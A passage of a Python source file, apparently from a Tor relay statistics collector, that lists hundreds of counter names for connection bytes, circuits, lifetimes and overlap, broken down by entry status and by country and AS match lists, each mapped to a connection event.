'NonEntryRelayOnAddressConnectionInboundByteCount' : { CONNECTION_EVENT },
'EntryConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundByteCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundByteCount' : { CONNECTION_EVENT },
# byte histograms per connection
'EntryConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCircuitCount' : { CONNECTION_EVENT },
'EntryConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundCircuitCount' : { CONNECTION_EVENT },
'EntryConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundCircuitCount' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
# histograms for country codes that match the first list specified
# byte histograms per connection
'EntryConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
# histograms for country codes that don't match the first list specified
# byte histograms per connection
'EntryConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
# count lists for country codes that match each list
# the final bin is used for country codes that don't match any list
# simple connection counts
'EntryConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCountList' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
# histograms for AS numbers that match the first list specified
# byte histograms per connection
'EntryConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
# histograms for AS numbers that don't match the first list specified
# byte histograms per connection
'EntryConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
# count lists for AS numbers that match each list
# the final bin is used for AS numbers that don't match any list
# simple connection counts
'EntryConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCountList' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
